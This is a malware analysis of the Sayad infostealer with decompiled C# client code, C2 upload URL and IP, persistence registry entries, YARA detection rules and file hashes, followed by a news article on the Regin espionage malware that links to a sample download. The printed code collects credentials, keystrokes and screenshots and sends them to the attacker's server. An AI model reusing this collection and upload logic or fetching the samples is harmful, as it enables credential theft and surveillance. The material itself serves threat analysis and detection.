For the same reason, we also dont show the complete command line of the rundll32.exe.
Because this is an important detail, here is how it shows up in our Vinsula malware report: rundll32.exe C:\Users\[User]\AppData\Roaming\Client\DiagnosticsService.dll,78121 Sayad malware is a self-contained executable that embeds within itself all the required malicious components, meaning that it doesnt need to download any additional malicious content from the C2 server, which may appear suspicious.
Its three core components are structured as Russian Dolls, i.e., one wrapped within the next in layers.
Here is the list with the key components starting from the outermost one.
Hashes of all investigated components are provided at the end of this post.
Self-extracting executable (WEXTRACT.exe) Binder (8f60957b3689075fa093b047242c0255.exe) Client (DiagnosticsService.dll) Further down, I will go into greater detail and provide more information about the behavior and static building blocks of each of these components.
For now, I am just aiming to capture the scope of each executable involved in the orchestration of the Sayad malware.
As we can see in the cascade tree above, the main malware WEXTRACT.exe is a self-extracting executable which extracts the Binder 8f60957b3689075fa093b047242c0255.exe, and it then launches it.
The Binder is responsible for checking the installed .NET version and extracting the relevant .NET Client DiagnosticsService.dll.
This .NET DLL implements the data collecting logic and sends the collected data to the C2 server.
The following diagram captures a bit more of the detail of the malware workflow.
The main self-extracting binary WEXTRACT.exe drops two files in the users appdata temp directory as shown in the following entries from our Vinsula report.
These two files are the two parts of the Binder  a .NET executable (8f60957b3689075fa093b047242c0255.exe) and its configuration file (8f60957b3689075fa093b047242c0255.exe.config).
Details along with snippets from Binders source code are provided in the next sections.
WEXTRACT.exe [Process Id: 3508] Create[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\8f60957b3689075fa093b047242c0255.exe] Delete[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\8f60957b3689075fa093b047242c0255.exe] http://vinsula.com/wp-content/uploads/2014/07/2014-07-20-Sayad-InfoStealer-Analysis1.png Open[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\8f60957b3689075fa093b047242c0255.exe] Write[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\8f60957b3689075fa093b047242c0255.exe] Create[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\8f60957b3689075fa093b047242c0255.exe.config] Delete[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\8f60957b3689075fa093b047242c0255.exe.config] Open[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\8f60957b3689075fa093b047242c0255.exe.config] Write[C:\Users\ [User]\AppData\Local\Temp\IXP000.TMP\8f60957b3689075fa093b047242c0255.exe.config] Here is the hashes of the Binder: Filename : 8f60957b3689075fa093b047242c0255.exe MD5 : 72641dedb31280b78bf6a0f184ef29b6 SHA1 : 69fd05ca3a7514ea79480d1dbb358fab391e738d This is what the two files dropped by the self-extracting malware look like in Windows Explorer.
They are stored in a temporary location C:\Users\[User]\AppData\Local\Temp\IXP000.TMP.
After dropping the Binder and its configuration file, the main self-extracting binary launches the Binder (8f60957b3689075fa093b047242c0255.exe).
Similar to the process tree from our Vinsula report above, the below screenshot from Process Explorer shows the Binder being launched by the self-extracting binary.
http://vinsula.com/wp-content/uploads/2014/07/Windows-7-32bit-Honeypot-Folio-2014-07-19-12-03-13.png http://vinsula.com/wp-content/uploads/2014/07/Windows-7-32bit-Honeypot-Folio-2014-07-19-12-01-542.png The purpose of the Binder is to create and drop the core malware component (also titled Client DiagnosticsService.dll) and its configuration disguised as a DLL file, base.dll.
Below is a snippet from our Vinsula report capturing the relevant event entries that show the Client and its configuration being created.
WEXTRACT.exe [Process Id: 3508] 8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] Create [C:\Users\[User]\AppData\Roaming\Client\base.dll] Write [C:\Users\[User]\AppData\Roaming\Client\base.dll] Create [C:\Users\ [User]\AppData\Roaming\Client\DiagnosticsService.dll] Write [C:\Users\ [User]\AppData\Roaming\Client\DiagnosticsService.dll] These are the hashes of the two core Client related files: Filename : DiagnosticsService.dll MD5 : 432a79f8f1402cb2622b27e26e900d55 SHA1 : 8521eefbf7336df5c275c3da4b61c94062fafdda Filename : base.dll MD5 : 4a67b19c02d5cfdebcd85b7395d09881 SHA1 : 082da03918039125dcf1f096a13ffa9ab6a56bde Before digging into the details of the Client, lets have a look at the Binders (8f60957b3689075fa093b047242c0255.exe) implementation.
The Binder is a .NET executable whose purpose is to find out what version of .NET is currently installed, and then drop the relevant .NET Client DLL accordingly.
There are two versions of the Client DLL that are stored as embedded resources in Binders executable.
That makes the malware less chattier and allows it to drop the correct .NET version DLL without the need to download it from a malicious Web location.
As shown in the above screenshot, in the Binders main entry point, the Sayad malware: http://vinsula.com/wp-content/uploads/2014/07/00-Binder-Main-C.png gets the installed .NET versions modifies the registry so that it will run at startup using rundll32.exe Windows utility to load the Client (DiagnosticsService.dll) extracts the relevant .NET Client version from the embedded resource depending on the installed .NET version, it copies the Client (CopySayad method) to a users directory extract the configuration information from the end of the Binders image using the method ReadExtraDataFromEndOfBuffer starts up the Client using the command rundll32.exe C:\Users\ [User]\AppData\Roaming\Client\DiagnosticsService.dll,7812 The following diagram reflects the code paths in Binders Main entry point as described in the section above.
The Binder ensures that the malware will survive reboots by registering the command for loading and executing the Client DLL (DiagnosticsService.dll) to run at startup as shown below.
http://vinsula.com/wp-content/uploads/2014/07/10-Binder-Main-IDA.png The following shows the registry modification that comes as a result of the executing the code above.
And here is the corresponding registry modification entries from Vinsulas report.
More on the details regarding the rundll32.exe command will be provided in the following sections.
http://vinsula.com/wp-content/uploads/2014/07/11-Binder-StartupRegistry.png http://vinsula.com/wp-content/uploads/2014/07/20-Run-At-Startup-Registry1.png WEXTRACT.exe [Process Id: 3508] 8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] Set Key:HKCU\Software\Microsoft\Windows\CurrentVersion\Run Name:DiagnosticsService Value:rundll32.exe C:\[Path omitted]\DiagnosticsService.dll,78121 rundll32.exe [Process Id: 2596] Command: rundll32.exe DiagnosticsService.dll,78121 Set Key:HKCU\Software\Microsoft\Windows\CurrentVersion\Run Name:78121 Value:rundll32.exe C:\Windows\system32\rundll32.exe,78121 An interesting aspect of the implementation of the Binder assembly is the way the malware authors decided to launch the Client by executing the command rundll32.exe DiagnosticsService.dll,7812 and utilizing WinExec API to launch the rundll32.exe process as shown below.
The WinExec API has been provided only for backward compatibility with 16-bit Windows.
A quick Googling of the method names of the two methods FromUrlSafeBase64String ToUrlSafeBase64String from the Base64.cs file shows that the code has been copied from the following stackoverflow post .NET MVC Routing w/ Url Encoding Problems.
The following screenshot shows the Binder project in Visual Studio.
http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393(vvs.85).aspx http://vinsula.com/wp-content/uploads/2014/07/04-Binder-StartSayad-C1.png http://stackoverflow.com/questions/7225563/net-mvc-routing-w-url-encoding-problems As previously mentioned, the Binder extracts the relevant Client DLL according to the installed .NET version.
There are two copies of the Client DLL, targeting .NET2 and .NET4, both stored as embedded resources inside the Binder file image.
The Binder is also responsible for extracting the configuration data located at the end of the Binders file image and storing it in the base.dll file.
The configuration data is stored as plain text and Base64 encoded data http://vinsula.com/wp-content/uploads/2014/07/07-Binder-VS-Project-C-stackoverflow.png http://vinsula.com/wp-content/uploads/2014/07/08-Binder-Resource.png and holds following configuration attributes: BuildId  a unique GUID that identifies the build of the malware.
For this sample the GUID value is e5aac039-cf4a-4b1d-9507-df7001ee2637 PublicKey  this is a RSA public key used for encrypting the collected data being uploaded to the malicious Web site hxxp://0o0o0o0o0.com PostURL  this is a URL and it is used for uploading collected data to the malicious Web site hxxp://0o0o0o0o0.com/soft.php ResourceURL  a URL that the malware uses to download sqllite3.dll ScreenShotCount  determines how many consecutive screenshots need to be taken each time ScreenShotInterval  indicates how frequently the screenshots will be taken StartupScreenshot  determines whether to take a screenshot at startup time Here is a sample configuration file base.dll The most interesting aspect of this malware is surely the Sayad Client (DiagnosticsService.dll).
The malware authors decided to implement the core data collection and transmission into a single .NET DLL.
Typically, unknown .NET DLLs do not look as suspicious as a native Win32 DLL or an executable.
Also, a DLL requires an executable to load it in order to execute any code implemented by the DLL.
Sayad leverages rundll32.exe, which is a shell that allows the loading of 32-bit DLLs and the execution of exported APIs.
Basically, Sayad Client is a 32-bit .NET DLL.
Rundll32.exe would be able to load Sayad Client DLL, but as it is a .NET managed DLL it doesnt support exporting of native unmanaged APIs, thus Rundll32.exe cannot execute any of the .NET/C public methods implemented in the Sayad Client DLL.
Going back to the malware process tree we can see that Binder launches the following command, which is instructing Windows utility rundll32.exe to load Sayad Client DiagnosticsService.dll, obtain the function address of the native API named 78121 via GetProcAddress(), and call the function pointer of the entry point 78121.
rundll32.exe C:\Users\ [User]\AppData\Roaming\Client\DiagnosticsService.dll,78121 Microsoft C compiler does not support interop via the export of unmanaged native APIs from within a http://vinsula.com/wp-content/uploads/2014/07/32-Client-Configuration-Notepad.png .NET/C DLL.
However, if we open Sayad Client DLL it is clear that the DLL does export a native unmanaged API function titled 78121.
How have the malware authors managed to export a native API from a C DLL?
Although not supported by Microsoft, this is not impossible if after building the executable, the MSIL is modified to map a managed static method to the name of a native unmanaged API and then export the API so that it appears in the Export Address Table of the managed PE (Portable Executable) image.
In this case, a static method Main() of Program class located in Program.cs of the Sayad Client DLL (DiagnosticsService.dll) maps to the native API 78121.
As shown below, a special declaration is applied to ensure that the caller (rundll32.exe) executes a method matching the required __stdcall calling convention.
Here is the MSIL of the static Main() method.
http://vinsula.com/wp-content/uploads/2014/07/Windows-7-32bit-Honeypot-Folio-2014-07-19-13-22-15.png And below is the corresponding disassmebled C version.
Sayad Client DLLs main entry point initializes and starts up all data collection methods that the assembly implements.
The code below is executed by using the command rundll32.exe C:\Users\ [User]\AppData\Roaming\Client\DiagnosticsService.dll,7812 The malware authors left some debugging messages that indicate the different stages of the Sayad Client initialization.
The code also handles and collects all uncaught exceptions thrown during the execution of the http://vinsula.com/wp-content/uploads/2014/07/Windows-7-32bit-Honeypot-Folio-2014-07-19-13-21-291.png http://vinsula.com/wp-content/uploads/2014/07/Windows-7-32bit-Honeypot-Folio-2014-07-19-13-24-30.png malware by attaching to AppDomain.
UnhandledException and Application.
ThreadException events.
In the next step, the client loads the configuration discussed in a previous section and then proceeds to start up all data collection components, as shown in the snippet below.
private static void modopt(CallConvStdcall) Main()  Application.
SetUnhandledExceptionMode( UnhandledExceptionMode.
CatchException) AppDomain.
CurrentDomain.
UnhandledException new UnhandledExceptionEventHandler( Program.
TotalExceptionHandler) Application.
ThreadException new ThreadExceptionEventHandler( Program.
TotalExceptionHandler) try  bool flag3 ClientExceptions  new ListExceptionSerializeModel() _uploadQuque  new UploadQueue() string path  CommonPath.
ClientPath() Path.
DirectorySeparatorChar  base.dll while (File.
Exists(path))  Thread.
Sleep(int.
Parse(Resources.
ShortSleepTime))  Debug.
Write(Config loaded) string[] strArray  File.
ReadAllLines(path) ExecutableConfigInfo info2  new ExecutableConfigInfo BuildId  strArray[0].Trim(), PublicKey  strArray[1].Trim(), PostURL  strArray[2].Trim(), ResourceURL  strArray[3].Trim(), screenShotCount  strArray[4].Trim(), screenShotInterval  strArray[5].Trim(), startupScreenShot  strArray[6].Trim()  _configInfo  info2 try  if (string.
IsNullOrEmpty(_configInfo.
PostURL))  Uri uri  new Uri(_configInfo.
PostURL) _hostAddress  uri.
OriginalString.
Replace( uri.
AbsolutePath, )   catch  return  CryptionKeyInfo info3  new CryptionKeyInfo KeySize  int.
Parse(Resources.
RSAKeySize), PublicKey  _configInfo.
PublicKey  _keyInfo  info3 Debug.
Write(Config parsed) if (string.
IsNullOrEmpty(_hostAddress))  new Wiper(new Http(), _hostAddress, _configInfo.
BuildId).StartWiper() Debug.
Write(string.
Format(wiper 0, _hostAddress))  new StorageUploader(new Http(), _configInfo.
PostURL, _configInfo.
BuildId).StartUploader() Debug.
Write(storage uploader) new Updater(new Http(), _hostAddress, _configInfo.
BuildId).StartUpdater() Debug.
Write(updater) int keyLogLimitSize  int.
Parse( Resources.
KeyloggerLogLimitSize) new Thread(delegate KeyLoggerProc(new Http(), keyLogLimitSize) ).Start() Debug.
Write(keylogger) int screenshotCount  int.
Parse( _configInfo.screenShotCount) int screenshotInterval  int.
Parse( _configInfo.screenShotInterval) new Thread(delegate ScreenShotProc(new Http(), screenshotInterval, screenshotCount) ).Start() Debug.
Write(Screenshot) Debug.
Write(_configInfo.
ResourceURL) if (SQLiteFinder.
FindSqlite(_configInfo.
ResourceURL))  Debug.
Write(sqlite found  start collectiong data) SerializeModel dataToSerialize  NewSerializerModel() dataToSerialize.
MachineInfo new MachineInfo().GetMachineInfo() Debug.
Write(Machine info collected) ListIBrowser list  new ListIBrowser new Chrome(), new Firefox(), new Opera()  foreach (IBrowser browser in list)  dataToSerialize.
BrowsersInfo.
Add( browser.
GetBrowserInfo())  Debug.
Write(browser ok) ListIMessenger list2  new ListIMessenger new Pidgin(), new YahooMessenger(), new Gtalk()  foreach (IMessenger messenger in list2)  dataToSerialize.
MessengersInfo.
Add( messenger.
GetMessengerInfo())  Debug.
Write(messenger ok) ListIVpn list3  new ListIVpn new Proxifier()  foreach (IVpn vpn in list3)  dataToSerialize.
VpNsInfo.
Add(vpn.
GetClientInfo())  Debug.
Write(vpn ok) ListIFtpClient list4  new ListIFtpClient new FilezillaClient(), new Winscp()  foreach (IFtpClient client in list4)  dataToSerialize.
FtpClientsInfo.
Add( client.
GetFtpClientInfo())  Debug.
Write(ftp client ok) ListIFtpServer list5  new ListIFtpServer new FilezillaServer()  foreach (IFtpServer server in list5)  dataToSerialize.
FtpManagementsInfo.
Add( server.
GetFtpServerInfo())  Debug.
Write(ftp server ok) ListIRemoteClient list6  new ListIRemoteClient new Putty(), new RemoteDesktop()  foreach (IRemoteClient client2 in list6)  dataToSerialize.
RemoteClientsInfo.
Add( client2.GetRemoteClientsInfo())  Debug.
Write(rdp ok) ListIFileCollector list7  new ListIFileCollector new Kerio()  foreach (IFileCollector collector in list7)  dataToSerialize.
ExtraFiles.
Add(collector.
GetFile())  Debug.
Write(kerio ok) string[] skypeDatabases  Skype.
GetSkypeDatabases() foreach (string str2 in skypeDatabases)  string destFileName  Path.
Combine( Path.
GetTempPath(), Path.
GetFileName(str2)) File.
Copy(str2, destFileName) if (File.
Exists(destFileName))  DirectoryInfo parent  new DirectoryInfo(str2).Parent if ((parent  null)  File.
Exists(destFileName))  ExtraFileSerializeModel item new ExtraFileSerializeModel Name  Resources.
SkypePathName, Description  parent.
Name, Data  File.
ReadAllBytes(destFileName)  dataToSerialize.
ExtraFiles.
Add(item)  File.
Delete(destFileName)   Debug.
Write(skype ok) byte[] bytetoEncrypt  ModelSerializer.
SerializeAndCompress( dataToSerialize) Debug.
Write(serialize data ok) byte[] buffer  EncryptBuffer(bytetoEncrypt, _keyInfo) Http http  new Http() if (http.
UploadBuffer(buffer, _configInfo.
BuildId, _configInfo.
PostURL))  File.
WriteAllBytes( Path.
Combine(CommonPath.
ClientStorage(), Path.
GetRandomFileName()), buffer)   string startupKeyName  Resources.
StartupKeyName if (Startup.
CheckStartup(startupKeyName))  Startup.
SetStartup(startupKeyName, Application.
ExecutablePath)  goto Label_07DD Label_07D4: Thread.
Sleep(-1) Label_07DD: flag3  true goto Label_07D4  catch (Exception exception)  AddExceptionToExceptionList(exception)   The Sayad Client uses a very trivial method for uploading the encrypted user and host data to the malicious server.
Here is the UploadBuffer method that uses .NET WebClient class to upload the data.
Both the Binder and the Sayad Client have been built with debugging information which reveals some details about the source code locations for these two .NET projects.
f:\Projects\C\Sayad\Source\Binder\obj\Debug\Binder.pdb F:\Projects\C\Sayad\Source\Client\bin\x86\Debug\Client.pdb http://vinsula.com/wp-content/uploads/2014/07/34-Client-VS-UploadBuffer.png Network Activity Communication with the C2 server is limited to transferring collected data from the user and the host to the C2 server.
The stolen data being uploaded to the malicious server is encrypted first using a RSA public key which is stored in the malware configuration file.
The Sayad Client (DiagnosticsService.dll) implements an HTTP client that uploads the encrypted data to the malicious Web server with host name 0o0o0o0o0[dot]com and IP address 107.6.182.179.
The Binder component doesnt implement any communication features.
The following is a short segment from Vinsula network activity report.
WEXTRACT.exe [Process Id: 3508] 8f60957b3689075fa093b047242c0255.exe [Process Id: 2544] http://vinsula.com/wp-content/uploads/2014/07/DebugInfo-Binder-01.png http://vinsula.com/wp-content/uploads/2014/07/DebugInfo-Client-01.png rundll32.exe [Process Id: 2596] [Parent Id: 2544] Command Line: rundll32.exe DiagnosticsService.dll,78121 TCP IPv4 UNKNOWN 192.168.64.167:1325  107.6.182.179:80 TCP IPv4 UNKNOWN 192.168.64.167:1326  107.6.182.179:80 TCP IPv4 send 192.168.64.167:1326   107.6.182.179:80 TCP IPv4 send 192.168.64.167:1325   107.6.182.179:80 TCP IPv4 recv 192.168.64.167:1326   107.6.182.179:80 TCP IPv4 recv 192.168.64.167:1325   107.6.182.179:80 TCP IPv4 UNKNOWN 192.168.64.167:1327  107.6.182.179:80 TCP IPv4 send 192.168.64.167:1327   107.6.182.179:80 TCP IPv4 recv 192.168.64.167:1327   107.6.182.179:80 TCP IPv4 UNKNOWN 192.168.64.167:1328  107.6.182.179:80 TCP IPv4 UNKNOWN 192.168.64.167:1329  107.6.182.179:80 TCP IPv4 send 192.168.64.167:1328   107.6.182.179:80 TCP IPv4 send 192.168.64.167:1329   107.6.182.179:80 TCP IPv4 recv 192.168.64.167:1328   107.6.182.179:80 TCP IPv4 recv 192.168.64.167:1329   107.6.182.179:80 TCP IPv4 UNKNOWN 192.168.64.167:1330  107.6.182.179:80 TCP IPv4 UNKNOWN 192.168.64.167:1331  107.6.182.179:80 TCP IPv4 send 192.168.64.167:1330   107.6.182.179:80 According to the http://www.ipligence.com/geolocation service, the malicious Web server is located in the Netherlands.
http://www.ipligence.com/geolocation Below is the WHOIS information for the malicious host 0o0o0o0o0[dot]com (IP 107.6.182.179).
The domain was registered on June 30, 2014.
Interestingly, the registrant, admin and tech email addresses are domainmicrosofts.com.
One wonders if the registrar, OnlineNIC, Inc, is verifying whether or not these are real email addresses.
http://vinsula.com/wp-content/uploads/2014/07/Windows-7-32bit-Honeypot-Folio-2014-07-19-15-11-31.png http://vinsula.com/wp-content/uploads/2014/07/whois-results-c2.jpg YARA detection rule Based on the details that have been identified, we can create two simple YARA rules for detection of the Sayad Binder and Sayad Client.
Hopefully this will help other malware researchers and security companies.
rule Vinsula_Sayad_Binder : infostealer  meta: copyright  Vinsula, Inc description  Sayad Infostealer Binder version  1.0 actor  Sayad Binder in_the_wild  true http://vinsula.com/wp-content/uploads/2014/07/whois-results-c2.jpg strings: pdbstr \\Projects\\C\\Sayad\\Source\\Binder\\obj\\Debug\\Binder.pdb delphinativestr  DelphiNative.dll nocase sqlite3str  sqlite3.dll nocase winexecstr  WinExec sayadconfig  base.dll wide condition: all of them  rule Vinsula_Sayad_Client : infostealer  meta: copyright  Vinsula, Inc description  Sayad Infostealer Client version  1.0 actor  Sayad Client in_the_wild  true strings: pdbstr \\Projects\\C\\Sayad\\Source\\Client\\bin\\x86\\Debug\\Client.pdb sayadconfig  base.dll wide sqlite3str  sqlite3.dll nocase debugstr01  Config loaded wide debugstr02  Config parsed wide debugstr03  storage uploader wide debugstr04  updater wide debugstr05  keylogger wide debugstr06  Screenshot wide debugstr07  sqlite found  start collectiong data wide debugstr08  Machine info collected wide debugstr09  browser ok wide debugstr10  messenger ok wide debugstr11  vpn ok wide debugstr12  ftp client ok wide debugstr13  ftp server ok wide debugstr14  rdp ok wide debugstr15  kerio ok wide debugstr16  skype ok wide debugstr17  serialize data ok wide debugstr18  Keylogged wide condition: all of them  Tools used for dissecting Sayad (Update 24th of July, 2014) Weve received a request to list the tools used for analyzing Sayad malware.
Hope that would help other researchers.
Vinsula Execution Engine  Kernel mode behavioral monitoring framework for 32-bit and 64-bit Windows http://vinsula.com/about/our-technology/ IDA Pro  The ultimate x64/x86 disassembler and a fantastic debugger https://www.hex-rays.com/products/ida/ WinDBG  Microsoft Debugging Tools for Windows  kernel and user mode debugger http://msdn.microsoft.com/en-au/windows/hardware/hh852365.aspx .NET Reflector  .NET C/MSIL decompiler and .NET debugger http://www.red-gate.com/products/dotnet-development/reflector/ Dependency Walker  provides a tree of all dependent DLLs and APIs http://www.dependencywalker.com/ http://vinsula.com/wp-content/uploads/2014/07/Yara-Execution.png http://vinsula.com/about/our-technology/ https://www.hex-rays.com/products/ida/ http://msdn.microsoft.com/en-au/windows/hardware/hh852365.aspx http://www.red-gate.com/products/dotnet-development/reflector/ http://www.dependencywalker.com/ PEview  Portable Executable Explorer http://www.aldeid.com/wiki/PEView Fiddler  free Web debugging proxy http://www.telerik.com/fiddler SysInternals Process Explorer http://technet.microsoft.com/en-au/sysinternals/bb896653.aspx IP Geolocator http://www.ipligence.com/geolocation WHOIS Search http://www.whois.net/ https://who.is/ YARA  The pattern matching swiss knife for malware researchers We use YARA to create the malware signatures http://plusvic.readthedocs.org/en/modules/gettingstarted.html http://plusvic.github.io/yara/ Hashmyfiles by Nir Sofer  Calculate MD5/SHA1/CRC32 hashes of files http://www.nirsoft.net/utils/hash_my_files.html Summary With this particular sample, the malicious server  as of this writing  is up and running.
The Sayad malware doesnt seem to be implementing any sophisticated mechanisms for collecting and transmitting the stolen data.
The hashes of the files related to this sample are copied below.
Filename          : WEXTRACT.exe MD5               : a7813001063a23627404887b43616386 SHA1              : 1c52b749403d3f229636f07b0040eb17beba28e4 SHA-256           : 8904836017bc20972a769f8d4d6bee08388da3d0f83e362e67f9f0b6b1ae5c12 Modified Time     : 15/07/2014 6:17:44 PM Created Time      : 17/07/2014 10:21:15 AM File Size         : 223,744 File Version      : 11.00.9600.16428 (winblue_gdr.131013-1700) Product Version   : 11.00.9600.16428 Identical         : Extension         : exe http://www.aldeid.com/wiki/PEView http://www.telerik.com/fiddler http://technet.microsoft.com/en-au/sysinternals/bb896653.aspx http://www.ipligence.com/geolocation http://www.whois.net/ https://who.is/ http://plusvic.readthedocs.org/en/modules/gettingstarted.html http://plusvic.github.io/yara/ http://www.nirsoft.net/utils/hash_my_files.html File Attributes   : A   Filename          : 8f60957b3689075fa093b047242c0255.exe MD5               : 72641dedb31280b78bf6a0f184ef29b6 SHA1              : 69fd05ca3a7514ea79480d1dbb358fab391e738d SHA-256           : 780c86ec885ea48316995ae69965e314a750848413f94907cf54bdeba09b5c3c Modified Time     : 14/07/2014 9:53:14 AM Created Time      : 19/07/2014 12:00:58 PM File Size         : 321,008 File Version      : 1.0.0.0 Product Version   : 1.0.0.0 Identical         : Extension         : exe File Attributes   : A   Filename          : DiagnosticsService.dll MD5               : 432a79f8f1402cb2622b27e26e900d55 SHA1              : 8521eefbf7336df5c275c3da4b61c94062fafdda SHA-256           : bae3171917daf3eb498ae2fb1d0fcbfbb684a5314a8cbef2d5e3bd4c30ece8e1 Modified Time     : 17/07/2014 10:16:25 AM Created Time      : 17/07/2014 2:17:55 PM File Size         : 150,528 File Version      : 1.0.0.0 Product Version   : 1.0.0.0 Identical         : Extension         : dll File Attributes   : A   Filename          : sqlite3.dll MD5               : 529ecf76409537ab5ac140a5e6fec79d SHA1              : 25c3720c06de6d9b584a06ddf44c079c24df30ce SHA-256           : c8571f963541414666397dce06657594560eed4943c93780eb7a2358f0645515 Modified Time     : 17/07/2014 10:16:43 AM Created Time      : 17/07/2014 2:17:55 PM File Size         : 291,328 File Version      : Product Version   : Identical         : Extension         : dll File Attributes   : A   Filename          : base.dll MD5               : 4a67b19c02d5cfdebcd85b7395d09881 SHA1              : 082da03918039125dcf1f096a13ffa9ab6a56bde SHA-256           : 35cd39d419ab386aaa534b4ce95aa7fcda696ef6960fd103beaecf71bacd7398 Modified Time     : 17/07/2014 10:16:26 AM Created Time      : 17/07/2014 2:17:55 PM File Size         : 361 File Version      : Product Version   : Identical         : Extension         : dll File Attributes   : A
SECRET MALWARE IN EUROPEAN UNION ATTACK LINKED TO U.S. AND BRITISH INTELLIGENCE Complex malware known as Regin is the suspected technology behind sophisticated cyberattacks conducted by U.S. and British intelligence agencies on the European Union and a Belgian telecommunications company, according to security industry sources and technical analysis conducted by The Intercept.
Regin was found on infected internal computer systems and email servers at Belgacom, a partly state-owned Belgian phone and internet provider, following reports last year that the company was targeted in a top-secret surveillance operation carried out by British spy agency Government Communications Headquarters, industry sources told The Intercept.
The malware, which steals data from infected systems and disguises itself as legitimate Microsoft software, has also been identified on the same European Union computer systems that were targeted for surveillance by the National Security Agency.
The hacking operations against Belgacom and the European Union were first revealed last year through documents leaked by NSA whistleblower Edward Snowden.
The specific malware used in the attacks has never been disclosed, however.
The Regin malware, whose existence was first reported by the security firm Symantec on Sunday, is among the most sophisticated ever discovered by researchers.
Symantec compared Regin to Stuxnet, a state-sponsored malware program developed by the U.S. and Israel to sabotage computers at an Iranian nuclear facility.
Sources familiar with internal investigations at Belgacom and the European Union have confirmed to The Intercept that the Regin malware was found on their systems after they were compromised, linking the spy tool to the secret GCHQ and NSA operations.
Ronald Prins, a security expert whose company Fox IT was hired to remove the malware from Belgacoms networks, told The Intercept that it was the most sophisticated malware he had ever studied.
Having analyzed this malware and looked at the [previously published] Snowden documents, Prins said, Im convinced Regin is used by British and American intelligence services.
A spokesman for Belgacom declined to comment specifically about the Regin revelations, but said that the company had shared every element about the attack with a federal prosecutor in Belgium who is conducting a criminal investigation into the intrusion.
Its impossible for us to comment on this, said Jan Margot, a spokesman for Belgacom.
Its always been clear to us the malware was highly sophisticated, but ever since the clean-up this whole story belongs to the past for us.
In a hacking mission codenamed Operation Socialist, GCHQ gained access to Belgacoms internal systems in 2010 by targeting engineers at the company.
The agency secretly installed so-called malware implants on the employees computers by sending their internet connection to a fake LinkedIn page.
The malicious LinkedIn page launched a malware attack, infecting the employees computers and giving the spies total control of their systems, allowing GCHQ to get deep inside Belgacoms networks to steal data.
The implants allowed GCHQ to conduct surveillance of internal Belgacom company communications and gave British spies the ability to gather data from the companys network and customers, which include the European Commission, the European Parliament, and the European Council.
The software implants used in this case were part of the suite of malware now known as Regin.
One of the keys to Regin is its stealth: To avoid detection and frustrate analysis, malware used in such operations frequently adhere to a modular design.
This involves the deployment of the malware in stages, making it more difficult to analyze and mitigating certain risks of being caught.
Based on an analysis of the malware samples, Regin appears to have been developed over the course of more than a decade The Intercept has identified traces of its components dating back as far as 2003.
Regin was mentioned at a recent Hack.lu conference in Luxembourg, and Symantecs report on Sunday said the http://www.symantec.com/connect/blogs/regin-top-tier-espionage-tool-enables-stealthy-surveillance https://www.fox-it.com/en/ http://www.spiegel.de/international/world/ghcq-targets-engineers-with-fake-linkedin-pages-a-932821.html http://2014.hack.lu/archive/2014/hacklu-joker-presentation.pdf http://www.symantec.com/connect/blogs/regin-top-tier-espionage-tool-enables-stealthy-surveillance firm had identified Regin on infected systems operated by private companies, government entities, and research institutes in countries such as Russia, Saudi Arabia, Mexico, Ireland, Belgium, and Iran.
The use of hacking techniques and malware in state-sponsored espionage has been publicly documented over the last few years: China has been linked to extensive cyber espionage, and recently the Russian government was also alleged to have been behind a cyber attack on the White House.
Regin further demonstrates that Western intelligence agencies are also involved in covert cyberespionage.
GCHQ declined to comment for this story.
The agency issued its standard response to inquiries, saying that it is longstanding policy that we do not comment on intelligence matters and all of GCHQs work is carried out in accordance with a strict legal and policy framework, which ensures that our activities are authorised, necessary and proportionate.
The NSA said in a statement, We are not going to comment on The Intercepts speculation.
The Intercept has obtained samples of the malware from sources in the security community and is making it available for public download in an effort to encourage further research and analysis.
(
To download the malware, click here.
The file is encrypted to access it on your machine use the password infected.)
What follows is a brief technical analysis of Regin conducted by The Intercepts computer security staff.
Regin is an extremely complex, multi-faceted piece of work and this is by no means a definitive analysis.
In the coming weeks, The Intercept will publish more details about Regin and the infiltration of Belgacom as part of an investigation in partnership with Belgian and Dutch newspapers De Standaard and NRC Handelsblad.
Origin of Regin In Nordic mythology, the name Regin is associated with a violent dwarf who is corrupted by greed.
It is unclear how the Regin malware first got its name, but the name appeared for the first time on the VirusTotal website on March 9th 2011.
Der Spiegel reported that, according to Snowden documents, the computer networks of the European Union were infiltrated by the NSA in the months before the first discovery of Regin.
Industry sources familiar with the European Parliament intrusion told The Intercept that such attacks were conducted through the use of Regin and provided samples of its code.
This discovery, the sources said, may have been what brought Regin to the wider attention of security vendors.
Also on March 9th 2011, Microsoft added related entries to its Malware Encyclopedia: Alert level: Severe First detected by definition: 1.99.894.0 Latest detected by definition: 1.173.2181.0 and higher First detected on: Mar 09, 2011 This entry was first published on: Mar 09, 2011 This entry was updated on: Not available Two more variants of Regin have been added to the Encyclopedia, Regin.
B and Regin.
C. Microsoft appears to detect the 64-bit variants of Regin as Prax.
A and Prax.
B.
None of the Regin/Prax entries are provided with any sort of summary or technical information.
The following Regin components have been identified: Loaders The first stage are drivers which act as loaders for a second stage.
They have an encrypted block which points to the location of the 2nd stage payload.
On NTFS, that is an Extended Attribute Stream on FAT, they use the registry to store the body.
When started, this stage simply loads and executes Stage 2.
The Regin loaders that are disguised as Microsoft drivers with names such as: serial.sys cdaudio.sys atdisk.sys parclass.sys usbclass.sys http://www.washingtonpost.com/wp-dyn/content/article/2010/01/13/AR2010011300359.html http://www.nytimes.com/2013/02/19/technology/chinas-army-is-seen-as-tied-to-hacking-against-us.html?pagewantedall http://www.theatlantic.com/politics/archive/2014/10/white-house-hacked/382063/ https://s3.amazonaws.com/tiregin/regin.zip http://www.standaard.be/cnt/dmf20141124_01393276 http://www.nrc.nl/nieuws/2014/11/24/kwaadaardige-malware-regin-gebruikt-bij-hack-belgacom/ http://www.spiegel.de/international/europe/nsa-spied-on-european-union-offices-a-908590.html http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?nameTrojan3AWinNT2FRegin.
